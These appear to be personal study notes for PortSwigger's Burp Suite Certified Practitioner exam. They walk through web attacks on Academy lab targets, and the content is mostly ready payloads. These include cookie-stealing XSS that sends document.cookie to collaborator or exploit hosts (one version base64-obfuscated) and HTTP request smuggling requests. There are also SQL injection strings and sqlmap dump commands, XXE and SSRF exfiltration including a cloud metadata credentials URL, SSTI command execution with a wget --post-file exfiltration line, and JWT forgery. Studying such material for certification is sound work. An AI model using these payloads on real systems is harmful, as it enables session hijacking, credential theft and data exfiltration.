Burp-Suite-Certified-Practitioner-Exam-Study

My personal study notes on the PortSwigger Academy Burp Suite Certified Practitioner (BSCP) Exam topics.
The acronym BSCP has nice simular ring to it, same as OSCP :)

Foothold
Web Cache Poison
Cross Site Scripting
Host Header Poison - forgot-password
HTTP Request Smuggling

Privilege Escalation
JSON roleid PrivEsc
Password refresh CSRF
Brute force auth cookie

Data Exfiltration
SQLi Credential Data Exfil
XML entities & Injections
SSRF Server side request forgery
SSTI Server side template injection
Prototype pollution
JSON Web Tokens
Cross Site Request Forgery
File path traversal

Payloads

Focus target scanning
Youtube Study Playlist

Foothold

AddEventListener JSON.parse

Target use web messaging and parses the message as JSON. Exploiting the vulnerability by constructing an HTML page on the exploit server that exploits DOM XSS vulnerability and steal victim cookie.

The vulnerable JavaScript code on the target using event listener that listens for a web message. This event listener expects a string that is parsed using JSON.parse(). In the JavaScript below, we can see that the event listener expects a type property and that the load-channel case of the switch statement changes the img src attribute.

<script>
	window.addEventListener('message', function(e) {
		var img = document.createElement('img'), ACMEplayer = {element: img}, d;
		document.body.appendChild(img);
		try {
			d = JSON.parse(e.data);
		} catch(e) {
			return;
		}
		switch(d.type) {
			case "page-load":
				ACMEplayer.element.scrollIntoView();
				break;
			case "load-channel":
				ACMEplayer.element.src = d.url;
				break;
			case "player-height-changed":
				ACMEplayer.element.style.width = d.width + "px";
				ACMEplayer.element.style.height = d.height + "px";
				break;
			case "redirect":
				window.location.replace(d.redirectUrl);
				break;
		}
	}, false);
</script>

To exploit the above code, inject JavaScript into the JSON data to change "load-channel" field data and steal document cookie.

Hosted iframe on exploit server html body, to send the victim cookie to the collaboration server.

<iframe src=https://TARGET.net/ onload='this.contentWindow.postMessage(JSON.stringify({
    "type": "load-channel",
    "url": "JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie"
}), "*");'>

PortSwigger Lab: DOM XSS using web messages and JSON.parse

DOM XSS Exploitation with web messages

Identify web messages on target that is using postmessage() with DOM Invader.

Replay the post message using DOM Invader after altering the JSON data.

{
    "type": "load-channel",
    "url": "JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookie"
}

Testing for DOM XSS using web messages with PortSwigger DOM Invader

Web Cache Poison

Target use tracking.js JavaScript, and is vulnerable to X-Forwarded-Host header redirecting path, allowing the stealing of cookie by poisoning cache.

GET / HTTP/1.1
Host: TARGET.web-security-academy.net
X-Forwarded-Host: exploit-SERVER.exploit-server.net

Hosting on the exploit server, injecting the X-Forwarded-Host header in request, and poison the cache until victim hits poison cache.

 /resources/js/tracking.js

document.location='https://exploit.exploit-server.net/cookies?c='+document.cookie;

Keep Poisoning the web cache of target by resending request with X-Forwarded-Host header.

PortSwigger Lab: Web cache poisoning with an unkeyed header

Param Miner Extension to identify web cache vulnerabilities

Cross Site Scripting

XSS Resources

Set simple unsecure cookie in browser dev tools to do POC.

document.cookie = "TopSecret=UnSafeCookieSessionValueForTopSecretCookie";

Methodology to identify allowed XSS Tags

Identified Reflected XSS in search function then determine the HTML tags and events attributes not blocked

Body and event 'onresize' is only allowed.

?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

Body and event 'onpopstate' is only allowed.

?search=%22%3E%3Cbody%20onpopstate=print()>

Example: onpopstate event (XSS)

<iframe onload="if(!window.flag){this.contentWindow.location='https://TARGET.net?search=<body onpopstate=document.location=`http://COLLABORATOR.com/?`+document.cookie>#';flag=1}" src="https://TARGET.net?search=<body onpopstate=document.location=`http://COLLABORATOR.com/?`+document.cookie>"></iframe>

OnHashChange '#' XSS

<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">

DOM XSS in jQuery selector sink using a hashchange event

The below lab gives great Methodology to identify allowed HTML tags and events for crafting POC XSS.

PortSwigger Lab: Reflected XSS into HTML context with most tags and attributes blocked

Host iframe code on exploit server and deliver exploit link to victim.

<iframe src="https://TARGET.web.net/?search=%22%3E%3Cbody%20onpopstate=print()%3E">

Reflected XSS (Cookie Stealers)

In the Search function on webapp a Reflected XSS is identified, then deliver exploit link to victim with cookie stealing payload in hosted iframe on exploit server.

WAF is preventing dangerous search filters and tags, then bypass XSS filters using JavaScript global variables.

"-alert(window["document"]["cookie"])-"
"-window["alert"](window["document"]["cookie"])-"
"-self["alert"](self["document"]["cookie"])-"

Bypass XSS filters using JavaScript global variables

fetch("https://Collaborator.oastify.com/?c=" + btoa(document['cookie']))

^{Base64 encode the payload}

ZmV0Y2goImh0dHBzOi8vODM5Y2t0dTd1b2dlZG02YTFranV5M291dGx6Y24yYnIub2FzdGlmeS5jb20vP2M9IiArIGJ0b2EoZG9jdW1lbnRbJ2Nvb2tpZSddKSk=

_{Test payload on our own session in Search}

"+eval(atob("ZmV0Y2goImh0dHBzOi8vODM5Y2t0dTd1b2dlZG02YTFranV5M291dGx6Y24yYnIub2FzdGlmeS5jb20vP2M9IiArIGJ0b2EoZG9jdW1lbnRbJ2Nvb2tpZSddKSk="))}//

Using the eval() method evaluates or executes an argument.
Using atob() or btoa() is function used for encoding to and from base64 formated strings.
If eval() being blocked then Alternatives:
- setTimeout("code")
- setInterval("code)
- setImmediate("code")
- Function("code")()

The image below shows Burp Collaborator receiving the victim cookie as a base64 result.

Hosting the IFRAME with eval() and fetch() payload on exploit server, respectively base64 encoded and URL encoded.

<iframe src="https://TARGET.web-security-academy.net/?SearchTerm=%22%2b%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%49%6d%68%30%64%48%42%7a%4f%69%38%76%4f%44%4d%35%59%32%74%30%64%54%64%31%62%32%64%6c%5a%47%30%32%59%54%46%72%61%6e%56%35%4d%32%39%31%64%47%78%36%59%32%34%79%59%6e%49%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%4d%39%49%69%41%72%49%47%4a%30%62%32%45%6f%5a%47%39%6a%64%57%31%6c%62%6e%52%62%4a%32%4e%76%62%32%74%70%5a%53%64%64%4b%53%6b%3d%22%29%29%7d%2f%2f"/>

Decode above payload from url encoding, is the following:

https://TARGET.web-security-academy.net/?SearchTerm="+eval(atob("ZmV0Y2goImh0dHBzOi8vODM5Y2t0dTd1b2dlZG02YTFranV5M291dGx6Y24yYnIub2FzdGlmeS5jb20vP2M9IiArIGJ0b2EoZG9jdW1lbnRbJ2Nvb2tpZSddKSk="))}//

Decode part of payload above that is base64 encoded to the following:

https://TARGET.web-security-academy.net/?SearchTerm="+eval(atob("fetch("https://839cktu7uogedm6a1kjuy3outlzcn2br.oastify.com/?c=" + btoa(document['cookie']))"))}//

URL & Base64 encoders and decoders

URL Decode and Encode
BASE64 Decode and Encode

Stored XSS

Cross site Scriting saved in Blog post comment. This Cookie Stealer payload then send the victim session cookie to the exploit server logs.

<img src="1" onerror="window.location='http://exploit.net/cookie='+document.cookie">

Product and Store lookup

?productId=1&storeId="></select><img src=x onerror=this.src='http://exploit.net/?'+document.cookie;>

Stored XSS Blog post

<script>
document.write('<img src="http://exploit.net?cookieStealer='+document.cookie+'" />');
</script>

Fetch API JavaScript Cookie Stealer payload in Blog post comment.

<script>
fetch('https://exploit.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

PortSwigger Lab: Exploiting cross-site scripting to steal cookies

DOM-Based XSS

DOM-based XSS vulnerabilities arise when JavaScript takes data from an attacker-controllable source, such as the URL, and passes code to a sink that supports dynamic code execution. In the target source code look out for the following:

ng-app
URLSearchParams
eval()
replace()
innerHTML
JSON.parse
document.write
location.search
addEventListener

AngularJS expression in the search box when angle brackets and double quotes HTML-encoded.

{{$on.constructor('alert(1)')()}}

PortSwigger Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

Below the target is vulnerable to dom-xss in the stock check function. Document.write is the sink used with location.search allowing us to add new value to Javascript variable storeId.

/product?productId=1&storeId="></select><img%20src=1%20onerror=alert(document.cookie)>

Dom-based XSS request with inserted malicious code into the variable read by the target JavaScript.

PortSwigger Lab: DOM XSS in document.write sink using source location.search inside a select element

Dom Invader

Using Dom Invader plugin and set the canary to value, such as 'domxss' and detect DOM-XSS sinks that can be exploit.

Host Header Poison - forgot-password

Spoof IP Address

Identify that altered HOST headers are supported, which allows you to spoof your IP address and bypass the IP-based brute-force protection or redirection attacks to do password reset poisoning.

_{Change the username parameter to carlos and send the request.}

X-Forwarded-Host: EXPLOIT-SERVER-ID.exploit-server.net
X-Host: EXPLOIT-SERVER-ID.exploit-server.net
X-Forwarded-Server: EXPLOIT-SERVER-ID.exploit-server.net

^{Check the exploit server log to obtain the reset link to the victim username.}

PortSwigger Lab: Password reset poisoning via middleware

HOST Connection State

Target is vulnerable to routing-based SSRF via the Host header. Sending grouped request in sequence using single connection and setting the connection header to keep-alive, bypass host header validation and enable SSRF exploit of local server.

GET /intranet/service HTTP/1.1
Host: TARGET.web-security-academy.net
Cookie: session=vXAA9EM1hzQuJwHftcLHKxyZKtSf2xCW
Content-Length: 48
Content-Type: text/plain;charset=UTF-8
Connection: keep-alive

Next request is the second tab in group sequence of requests.

POST /service/intranet HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=YOUR-CSRF-TOKEN&username=carlos

Observe that the second request has successfully accessed the admin panel.

PortSwigger Lab: Host validation bypass via connection state attack

HTTP Request Smuggling

Architecture with front-end and back-end server, and front-end or backend does not support chunked encoding (HEX) or content-length (Decimal). Bypass security controls to retrieve the victim's request and use the victim user's cookies to access their account.

TE.CL multiCase - Transfer-Encoding

Manually fixing the length fields in request smuggling attacks, requires each chunk size in bytes expressed in HEXADECIMAL, and Content-Length specifies the length of the message body in bytes. Chunks are followed by a newline, then followed by the chunk contents. The message is terminated with a chunk of size ZERO.

Note: Repeater menu ensure the "Update Content-Length" option is unchecked.

POST / HTTP/1.1
Host: TARGET.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

71
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Note: include the trailing sequence \r\n\r\n following the final 0.

Calculating TE.CL (Transfer-Encoding / Content-Length) smuggle request length in HEXADECIMAL and the payload is between the hex length of 71 and the terminating ZERO, not including the ZERO AND not the preceding \r\n on line above ZERO, as part of length. The inital POST request content-length is manually set.

PortSwigger Lab: Exploiting HTTP request smuggling to bypass front-end security controls, TE.CL vulnerability

CL.TE multiCase - Content-Length

Large Content-Length to capture victim requests. Sending a POST request with smuggled request but the content length is longer than the real length and when victim browse their cookie session value is posted to blob comment. Increased the comment-post request's Content-Length to 798, then smuggle POST request to the back-end server.

POST / HTTP/1.1
Host: TARGET.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 242
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: session=HackerCurrentCookieValue

csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

_{No new line at end of the smuggled POST request above^^}

View the blog post to see if there's a comment containing a user's request. Note that once the victim user browses the target website, then only will the attack be successful. Copy the user's Cookie header from the blog post comment, and use the cookie to access victim's account.

PortSwigger Lab: Exploiting HTTP request smuggling to capture other users' requests

CL.TE multiCase - User-Agent Cookie Stealer

Identify the UserAgent value is stored in the GET request loading the blog comment form, and stored in User-Agent hidden value. Exploiting HTTP request smuggling to deliver reflected XSS using User-Agent value that is then placed in a smuggled request.

^{Basic Cross Site Scripting Payload escaping out of HTML document.}

 "/><script>alert(1)</script>

_{COOKIE STEALER Payload}

a"/><script>document.location='http://Collaborator.com/?cookiestealer='+document.cookie;</script>

Smuggle this XSS request to the back-end server, so that it exploits the next visitor. Place the XSS cookie stealer in User-Agent header.

POST / HTTP/1.1
Host: TARGET.websecurity.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://COLLABORATOR.com/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

Check the PortSwigger Collaborator Request received from victim browsing target.

PortSwigger Lab: Exploiting HTTP request smuggling to deliver reflected XSS

TE.CL dualchunk - Transfer-encoding obfuscated

If Duplicate header names are allowed, and the vulnerability is detected as dualchunk, then add an additional header with name and value = Transfer-encoding: cow. Use obfuscation techniques with second TE.

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Transfer-encoding: identity
Transfer-encoding: cow

Some servers that do support the Transfer-Encoding header can be induced not to process it if the header is obfuscation in some way.

On Repeater menu ensure that the "Update Content-Length" option is unchecked.

POST / HTTP/1.1
Host: TARGET.websecurity-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://COLLAB.com/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n  
\r\n

Note: You need to include the trailing sequence \r\n\r\n following the final 0.

PortSwigger Lab: HTTP request smuggling, obfuscating the Transfer-Encoding (TE) header

I fail to see how this in exam/prod can be played to be dangerous or lead to exploitation!?

Privilege Escalation

PrivEsc JSON RoleId

Access control to the admin interface is based on user roles, and this can lead to IDOR or accessc ontrol security vulnerability.

Capture current logged in user email submission request and send to Intruder, then add "roleid":§99§ into the JSON body of the request, and fuzz the possible roleid for administrator access role position.

POST /my-account/change-email HTTP/1.1
Host: 0a25007604813b07c2066cf20023004d.web-security-academy.net
Cookie: session=vXAA9EM1hzQuJwHftcLHKxyZKtSf2xCW
Content-Length: 48
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Connection: close

{
 "email":"newemail@wiener.peter",
 "roleid": 2
}

Attack identify the possible role ID of administrator access role and then send this request with updated roleId to privile escalate the current logged in user to role of administator of target.

PortSwigger Lab: User role can be modified in user profile

Password Refresh CSRF

Refresh password POST request,then change username parameter to administrator while logged in as low priv user, CSRF where token is not tied to user session.

POST /refreshpassword HTTP/1.1
Host: TARGET.web-security-academy.net
Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d
Content-Length: 60
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="109", "Not_A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://TARGET.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
X-Forwarded-Host: exploit.exploit-server.net
X-Host: exploit.exploit-server.net
X-Forwarded-Server: exploit.exploit-server.net
Referer: https://TARGET.web-security-academy.net/refreshpassword
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

csrf=TOKEN&username=administrator

PortSwigger Lab: Password reset broken logic

Brute Force Authentication

Cookie value contain the password of the user logged in and is vulnerable to brute-forcing.

Intruder Payload processing, add grep option and the rules in sequenctial order before attack is submitted.

Hash: MD5
Add prefix: wiener:
Encode: Base64-encode.

grep 'Update email'

PortSwigger Lab: Brute-forcing a stay-logged-in cookie

Data Exfiltration

SQL Injection

Error based or Blind SQL injection vulnerabilities, allow SQL queries in an application to be used to extract data or login credentials from the database. SQLMAP is used to fast track the exploit and retrieve the sensitive information.

Adding a double (") or single quote (') to web parameters and evaluate the SQL error message, identify SQL injection vulnerability.

SQL Injection cheat sheet examples

Out of band data exfiltration Blind SQL query, namely a tracking cookie.

TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

PortSwigger Lab: Blind SQL injection with out-of-band data exfiltration

^{Using SQLMAP to enumerate tracking cookie by provding -r REQUESTFILE to Load HTTP request from a file.}

sqlmap -v -r sqli-blind.txt --batch --random-agent --level=5 --risk=3 -p "TrackingId"

PortSwigger Lab: SQL injection UNION attack, retrieving data from other tables

SQLMAP

Sample SQLMAP commands to determine what SQL injection vulnerability exist and retrieving different types of information from backend database.

SQLMAP Help usage

_{SQLMAP determine the vulnerability, and perform initial enumeration.}

sqlmap -v -u 'https://TARGET.web.net/filter?category=*' -p "category" --batch --cookie="session=xnxxji87qhGxOdoGKKW1ack4pZxYJlTt" --random-agent --level=3 --risk=3

_{SQLMAP determine the database DBMS.}

sqlmap -v -u 'https://TARGET.web.net/filter?category=*' -p "category" --batch --cookie="session=xnxxji87qhGxOdoGKKW1ack4pZxYJlTt" --random-agent --level=3 --risk=3 --dbms=PostgreSQL -dbs

_{SQLMAP determine Database, Tables, dump, data Exfiltration.}

sqlmap -v -u 'https://TARGET.web.net/filter?category=*' -p "category" --batch --cookie="session=xnxxji87qhGxOdoGKKW1ack4pZxYJlTt" --random-agent --level=3 --risk=3 --dbms=PostgreSQL -D public --tables

sqlmap -v -u 'https://TARGET.web-security-academy.net/filter?category=*' -p "category" --batch --cookie="session=xnxxji87qhGxOdoGKKW1ack4pZxYJlTt" --random-agent --dbms=PostgreSQL -D public -T users --dump --level=5 --risk=3

Use SQLMAP Technique parameter set type to error based instead of boolean-based blind vulnerability, and this speed up data exfil process.

sqlmap -v -u 'https://TARGET.web.net/filter?category=*' -p 'category' --batch --flush-session --dbms postgresql --technique E --level=5

SQLi Manual Exploit

SQL injection vulnerability exploited manually by first finding list of tables in the database.

'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

Second retrieve the names of the columns in the users table.

'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_qoixrv'--

Final step dump data from the username and passwords columns.

'+UNION+SELECT+username_wrrcyp,+password_zwjmpc+FROM+users_qoixrv--

PortSwigger Lab: SQL injection attack, listing the database contents on non-Oracle databases

XXE Injections

File upload or user import function on web target use XML file format. This can be vulnerable to XML external entity (XXE) injection.

Identify XML

Possible to find XXE attack surface in requests that do not contain any XML.

_{Identify XXE in not so obvious parameters or requests by adding the below and URL encode the & symbol.}

%26entity;

DTD Hosted Exploit

On the exploit server host a exploit file with Document Type Definition (DTD) extension, containing the following payload.

<!ENTITY % file SYSTEM "file:///home/carlos/secret">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://COLLABORATOR.net/?x=%file;'>">
%eval;
%exfil;

Modify the file upload XML body of the request before sending to the target server.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "https://EXPLOIT.net/exploit.dtd"> %xxe;]>
<users>
    <user>
        <username>Carl Toyota</username>
        <email>carl@hacked.net</email>
    </user>    
</users>

PortSwigger Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD

Xinclude file read

Webapp Check Stock feature use server-side XML document that is parsed, but because the entire XML document, not possible to use a DTD file. Injecting an XInclude statement to retrieve the contents of /home/carlos/secret file instead.

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///home/carlos/secret"/></foo>

PortSwigger Lab: Exploiting XInclude to retrieve files

SQL + XML + HackVector

SQL injection with filter bypass via XML encoding may allow extract of sensitive data.

Identify injection point by using mathematical expression such as 7x7, and this indicate possible SQL injection or Template injections.

$identify-math-evaluated-xml$

WAF detect attack when appending SQL query such as a UNION SELECT statement to the original store ID.

<storeId>1 UNION SELECT NULL</storeId>

Bypass the WAF, Use Burp extension Hackvertor to obfuscate the SQL Injection payload in the XML post body.

Webapp return one column, thus need to concatenate the returned usernames and passwords columns from the users table.

<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId>

SQLi Payloads to read local file, and or output to another folder on target.

<@hex_entities>1 UNION all select load_file('/home/carlos/secret')<@/hex_entities>  

<@hex_entities>1 UNION all select load_file('/home/carlos/secret') into outfile '/tmp/secret'<@/hex_entities>

PortSwigger Lab: SQL injection with filter bypass via XML encoding

Obfuscation

URL replacing . with %2e

Double-encode the injection

/?search=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E

HTML encode one or more of the characters

<img src=x onerror="&#x61;lert(1)">

XML encode for bypassing WAFs

<stockCheck>
    <productId>
        123
    </productId>
    <storeId>
         999 &#x53;ELECT * FROM information_schema.tables
    </storeId>
</stockCheck>

Multiple encodings together

<a href="javascript:&bsol;u0061lert(1)">Click me</a>

SQL CHAR

CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)

Obfuscating attacks using encodings

SSRF - Server Side Request Forgery

SSRF attack cause the server to make a connection to internal services within the organization, or force the server to connect to arbitrary external systems, potentially leaking sensitive data.

_{SSRF exploitation examples}

/product/nextProduct?currentProductId=6&path=http://evil-user.net  

stockApi=http://localhost:6566/admin  

http://127.1:6566/admin

Double URL encode characters in URL such as to Obfuscate the "a" by double-URL encoding it to %2561

PortSwigger Lab: SSRF with blacklist-based input filter

Absolute GET URL + HOST SSRF

Possible to provide an absolute URL in the GET request line and then supply different target for the HOST header.

GET https://YOUR-LAB-ID.web-security-academy.net/
Host: COLLABORATOR.DOMAIN

Use the Host header to target 192.168.0.141 or localhost, and notice the response give 302 status admin interface found. Append /admin to the absolute URL in the request line and send the request. Observe SSRF response.

PortSwigger Lab: SSRF via flawed request parsing

SSRF redirect_uris

POST request to register data to the client application with redirect URL endpoint in JSON body. Provide a redirect_uris array containing an arbitrary whitelist of callback URIs. Observe the redirect_uri.

POST /reg HTTP/1.1
Host: oauth-TARGET.web-security-academy.net
Content-Type: application/json
Content-Length: 206

{
"redirect_uris":["https://example.com"],
    "logo_uri" : "https://ct9vlhusb0to24fcrs5t3qsmpdv4jv7k.oastify.com",
	"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
	
}

PortSwigger Lab: SSRF via OpenID dynamic client registration

XXE + SSRF

Exploiting XXE to perform SSRF attacks using stock check function that obtains sensitive data.

<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://localhost:6566/latest/"> ]>
  <stockCheck>
    <productId>
      &xxe;
    </productId>
    <storeId>
      1
    </storeId>
  </stockCheck>

PortSwigger Lab: Exploiting XXE to perform SSRF attacks

SSRF HOST header routing

Routing-based SSRF via the Host header allow insecure access to a localhost intranet.

GET /service/intranet?csrf=QCT5OmPeAAPnyTKyETt29LszLL7CbPop&readfile=/home/carlos/secret HTTP/1.1
Host: localhost

_{Note: Convert the GET request to POST}

POST / HTTP/1.1
Host: 5rxojasl9trh0xd5pl3m1jqfn6txhp5e.oastify.com
Cookie: _lab=46%7cMCwCFBucXjC6hvd9WC4%2fwP3%2fkmpxu8mhAhR%2f9lrAED4p89w%2bSBi%2fujGmrnwZhjZyG%2fmQebBgi4naIZO%2flg2daYidh0KoLFjVIEV1DKMwigDLRyL4BspAm4Kiz4iRmXJYyTpvojI18biLNQEbid7G4fT6SvZuUjONK2CLqa%2bc8VqLQcU%3d; session=GvdpmebBL2eNQZMJjJmSh4ZU8QrTDVDq
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Identified SSRF with help from collaborator that other servers can be accessed and so this can allow access to localhost, by changing the HOST header.

PortSwigger Lab: Routing-based SSRF

HTML to PDF

Identify file download HTML-to-PDF convert function on target is vulnerable.

<script>
	document.write('<iframe src=file:///etc/passwd></iframe>');
</script>

Libraries used to convert HTML files to PDF documents are vulnerable to server-side request forgery (SSRF).

PortSwigger Research HTML-to-PDF converters vuln to SSRF

HTML to PDF converters such as wkhtmltopdf exploited to read local file(SSRF)

<html>
 <body>
  <script>
   x = new XMLHttpRequest;
   x.onload = function() {
    document.write(this.responseText)
   };
   x.open("GET", "file:///home/carlos/secret");
   x.send();
  </script>
 </body>
</html>

JSON POST request body containing the HTMLtoPDF formatted payload to read local file.

{
	"tableHtml":"<div><p>SSRF in HTMLtoPDF</p><iframe src='file:///home/carlos/secret' height='500' width='500'>"
}

Random notes on HTML-to-PDF converters & SSRF

"Download report as PDF"
/adminpanel/save-report/
POST request - Body JSON 
{ 
	"tableHtml":"........<html code snip>......."
}

pdf creator: wkhtmltopdf 0.12.5
hacktricks xss cross site scripting server side xss dynamic pdf

^{SSRF Section incomplete ...need more input...}

SSTI - Server Side Template Injection

Use the web framework native template syntax to inject a malicious payload into a {{template}}, which is then executed server-side.

SSTI payloads to identify vulnerability.

${{<%[%'"}}%\.,
}}{{7*7}} 

{{fuzzer}}
${fuzzer}
${{fuzzer}}

${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
${foobar}

{% debug %}

Identification of template injection.

Tornado Template

}}
{% import os %}
{{os.system('cat /home/carlos/secret')

blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('cat%20/home/carlos/secret')

PortSwigger Lab: Basic server-side template injection data exfiltrate

Django Template

${{<%[%'"}}%\,
{% debug %} 
{{settings.SECRET_KEY}}

PortSwigger Lab: Server-side template injection with information disclosure via user-supplied objects

Freemarker Template

${foobar}
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat /home/carlos/secret") }

PortSwigger Lab: Server-side template injection using documentation

ERB Template

<%= 7*7 %>
<%= system("cat /home/carlos/secret") %>

PortSwigger Lab: Basic server-side template injection

Handlebars Template

${{<%[%'"}}%\,

wrtz{{#with "s" as |string|}}
    {{#with "e"}}
        {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
                {{this.pop}}
                {{this.push "return require('child_process').exec('wget http://ext.burpcollab.net --post-file=/home/carlos/secret');"}}
                {{this.pop}}
                {{#each conslist}}
                    {{#with (string.sub.apply 0 codelist)}}
                        {{this}}
                    {{/with}}
                {{/each}}
            {{/with}}
        {{/with}}
    {{/with}}
{{/with}}

PortSwigger Lab: Server-side template injection in an unknown language

Random notes on template injections

"Update forgot email template {{}}
/admin_panel/update_forgot_email/
POST request newemail parameter


portswigger.net/research/server-side-template-injection
{{7*7}}
portswigger.net/research/template-injection

wget http://ext.burpcollab.net --post-file=/home/carlos/secret

^{SSTI Section ...need more input...}

ProtoType Pollution

A target is vulnerable to DOM XSS via client side prototype pollution. DOM Invader will identify the gadget and using hosted payload to phish a victim and steal their cookie.

_{Exploit server Body section, host an exploit that will navigate the victim to a malicious URL}

<script>
    location="https://TARGET.web.net/#__proto__[hitCallback]=alert%28document.cookie%29"
</script>

PortSwigger Lab: Client-side prototype pollution in third-party libraries

^{Proto pollution section is incomplete ...need more input...}

JWT

JSON web tokens (JWTs) use to send cryptographically signed JSON data, and most commonly used to send information ("claims") about users as part of authentication, session handling, and access control.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Brute force weak JWT signing key

hashcat -a 0 -m 16500 <YOUR-JWT> /path/to/jwt.secrets.list

JWT-based mechanism for handling sessions. In order to verify the signature, the server uses the kid parameter in JWT header to fetch the relevant key from its filesystem. Generate a new Symmetric Key and replace k property with base64 null byte AA==, to be used when signing the JWT.

JWS

{
    "kid": "../../../../../../../dev/null",
    "alg": "HS256"
}

Payload

{
    "iss": "portswigger",
    "sub": "administrator",
    "exp": 1673523674
}

PortSwigger Lab: JWT authentication bypass via kid header path traversal

^{JWT section ...need more input...}

CSRF

Cross-Site Request Forgery vulnerability allows an attacker to force users to perform actions that they do not intend to perform.

oAuth linking exploit server hosting iframe, then deliver to victim, forcing user to update code linked.

Intercepted the GET /oauth-linking?code=[...]. send to repeat to save code. Drop the request. Important to ensure that the code is not used and, remains valid. Save on exploit server an iframe in which the src attribute points to the URL you just copied.

<iframe src="https://TARGET.web-security-academy.net/oauth-linking?code=STOLEN-CODE"></iframe>

PortSwigger Lab: Forced OAuth profile linking

Referer CSRF

Identify change email vulnerable to the referer header to validate being part of the referer header value.

Adding original domain of target and append it to the Referer header in the form of a query string, allow the change email to update.

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url

_{Note: that unlike the normal Referer header, the word "referrer" must be spelled correctly.}

